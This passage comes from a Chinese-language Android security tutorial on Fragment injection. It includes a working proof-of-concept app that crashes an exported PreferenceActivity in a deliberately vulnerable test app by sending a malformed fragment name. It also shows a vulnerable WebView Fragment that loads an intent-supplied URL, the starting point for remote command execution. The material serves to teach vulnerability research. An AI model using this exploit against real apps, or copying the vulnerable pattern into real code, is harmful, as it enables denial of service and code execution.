ServerReorderFragment没有对畸形消息进行处理,导致拒绝服务,攻击EXP,如下:
- MainActivity.java 代码:
package com.example.testpoc4;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// 获取控件id
Button button1 = findViewById(R.id.button);
// 监听点击事件
button1.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
// 要执行的操作
Intent intent=new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
//包名 包名+类名(全路径)
intent.setClassName("ddns.android.vuls", "ddns.android.vuls.activities.Activity.FragmentActivity");
intent.putExtra(":android:show_fragment","BaoBaoBaoBaoBaoBao");
startActivity(intent);
//成功Dos后的提示
Toast.makeText(MainActivity.this,"Dos攻击ddns.android.vuls应用", Toast.LENGTH_SHORT).show();
Log.d("拒绝服务攻击:","ddns.android.vuls 应用被Dos攻击");
}
});
}
}
- activity_main.xml 代码:
<?xml version="1.0" encoding="utf-8"?>
效果如下:
![](http://imgq8.q578.com/ef/0925/adda6d67fc98941a.jpg)
![](http://imgq8.q578.com/ef/0925/2559d81f18eca95d.jpg)
0x04 Android Fragment之远程命令执行
由于现在很多组件都是基于Webview来展示页面,并且Fragment组件应用越来越广,以后将会有越来越多的Webview组件是基于Fragment来展示。由于Fragment注入漏洞可以加载app内任意未导出组件,如果基于Fragment的Webview组件存在addJavascriptInterface漏洞,将会导致远程命令执行漏洞。大家可以在市面上老的APP里找下,发现很多Webview组件基于Fragment,但是继承自PreferenceActivity的组件是不导出的。因此,下面将利用vuls.apk来做验证可行性,当然同学你可以自己写个demo来做尝试,下面测试的环境是在Android 4.4中进行的
ddns.android.vuls.activities.Activity.FragmentActivity组件对外导出,并继承自PreferenceActivity:
![](http://imgq8.q578.com/ef/0925/707c9db74a6f8ee1.jpg)
![](http://imgq8.q578.com/ef/0925/273db419bab01098.jpg)
WebviewFragment导出JavaScript接口,并加载URL(在 vuls 中有以下的 Fragment)。如下攻击场景中可让Fragment加载指定的网页:
public class TargetFragment extends Fragment {
public TargetFragment() {
Log.e("DDNS: ", "TargetFragment's constructor");
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.fragment_target,null);
WebView webview = (WebView) view.findViewById(R.id.webview_fragment);
webview.getSettings().setJavaScriptEnabled(true);
webview.loadUrl(getActivity().getIntent().getDataString());
return view;
}
}